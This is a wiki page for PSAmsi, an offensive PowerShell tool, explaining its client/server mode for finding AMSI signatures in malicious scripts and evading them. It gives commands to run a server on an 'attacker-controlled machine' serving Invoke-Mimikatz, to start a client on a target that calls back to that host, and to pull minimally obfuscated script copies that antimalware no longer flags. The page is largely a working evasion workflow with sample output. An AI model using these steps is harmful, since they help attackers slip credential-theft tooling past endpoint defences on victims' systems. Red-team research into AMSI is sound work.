Skip to content

Standalone Client Server Architecture

cobbr edited this page Sep 22, 2017 · 1 revision

PSAmsi comes with a standalone client/server architecture for automating the auditing and defeating of AMSI signatures for a collection of malicious scripts. This is helpful when we have an attacker-controlled server and want to exfiltrate lots of PSAmsi scan results from a remote client all at once.

The server should be run on an attacker-controlled machine without AV/AntiMalware. (This can be a Linux server if you install PowerShell!!)

Start-PSAmsiServer is used to start the server:

PS > Start-PSAmsiServer -Port 80 -ScriptPath ./Invoke-Mimikatz.ps1

Like all functions that accept a Script as input in PSAmsi, the Start-PSAmsiServer function accepts either a String, Path, Uri, or ScriptBlock using the -ScriptString, -ScriptPath, -ScriptUri, or -ScriptBlock parameters.

For example:

PS > $Results = Start-PSAmsiServer -Port 80 -ScriptString "test"
PS > $Results = Start-PSAmsiServer -Port 80 -ScriptPath ./Test-Script.ps1
PS > $Results = Start-PSAmsiServer -Port 80 -ScriptUri "http://example.com/Test-Script.ps1"
PS > $Results = Start-PSAmsiServer -Port 80 -ScriptBlock { "test" }

Start a client on a target machine with Start-PSAmsiClient to scan the script and receive the result on the server:

PS > Start-PSAmsiClient -ServerUri 'http://10.100.100.1/'

You will receive the output of the scan from the Start-PSAmsiServer cmdlet:

PS > Start-PSAmsiServer -Port 80 -ScriptPath ./Invoke-Mimikatz.ps1

ScriptName          ScriptIsFlagged
----------          ---------------
Invoke-Mimikatz.ps1            True

Start-PSAmsiClient accepts the switch arguments -FindAmsiSignatures and -GetMinimallyObfuscated.

Starting a client with the -FindAmsiSignatures flag searches for and returns the AMSI signatures flagged by the AntiMalware provider:

PS > Start-PSAmsiClient -ServerUri 'http://10.100.100.1/' -FindAmsiSignatures

This results in the following output from Start-PSAmsiServer:

PS > Start-PSAmsiServer -Port 80 -ScriptPath ./Invoke-Mimikatz.ps1

ScriptName          ScriptIsFlagged AmsiSignatures
----------          --------------- --------------
Invoke-Mimikatz.ps1            True {'TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAA...

Starting a client with the -GetMinimallyObfuscated flag retrieves a minimally obfuscated copy of the script that is no longer detected as malicious by the AMSI:

PS > Start-PSAmsiClient -ServerUri 'http://10.100.100.1/' -GetMinimallyObfuscated

This results in the following output from Start-PSAmsiServer:

PS > Start-PSAmsiServer -Port 80 -ScriptPath ./Invoke-Mimikatz.ps1

ScriptName          ScriptIsFlagged MinimallyObfuscated
----------          --------------- -------------------
Invoke-Mimikatz.ps1            True function Invoke-Mimikatz...

You can also specify both the -FindAmsiSignatures and -GetMinimallyObfuscated flags to d both!

PS > Start-PSAmsiClient -ServerUri 'http://10.100.100.1/' -FindAmsiSignatures -GetMinimallyObfuscated

ScriptName          ScriptIsFlagged AmsiSignatures MinimallyObfuscated
----------          --------------- -------------- -------------------
Invoke-Mimikatz.ps1            True {'TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAA... function Invoke-Mimikatz...

The real convenience of the standalone Client/Server architecture comes when we want to scan multiple scripts all at once.

We can task a PSAmsiClient to handle multiple scripts at once, by using the pipeline to pipe many scripts to Start-PSAmsiServer:

PS > $gci /path/to/scripts -Recurse -Include *.ps1 | Start-PSAmsiServer -Port 80

Start a PSAmsiClient just like before:

PS > Start-PSAmsiClient -ServerUri 'http://10.100.100.1/' -GetMinimallyObfuscated

This results in the following output from Start-PSAmsiServer:

PS > $gci /path/to/scripts -Recurse -Include *.ps1 | Start-PSAmsiServer -Port 80

ScriptName       ScriptIsFlagged MinimallyObfuscated
----------       --------------- ------------------
Test-Script1.ps1            True function tE`St-S`Cri`Pt1...
Test-Script2.ps1            True function Test-Script2 { ...
Test-Script5.ps1            True function Test-Script5 { ...
Test-Script7.ps1            True function Test-Script7 { ...
Test-Script3.ps1           False function Test-Script3 { ...
Test-Script4.ps1           False function Test-Script4 { ...
Test-Script6.ps1           False function Test-Script6 { ...
Test-Script8.ps1           False function Test-Script8 { ...
Test-Script9.ps1           False function Test-Script9 { ...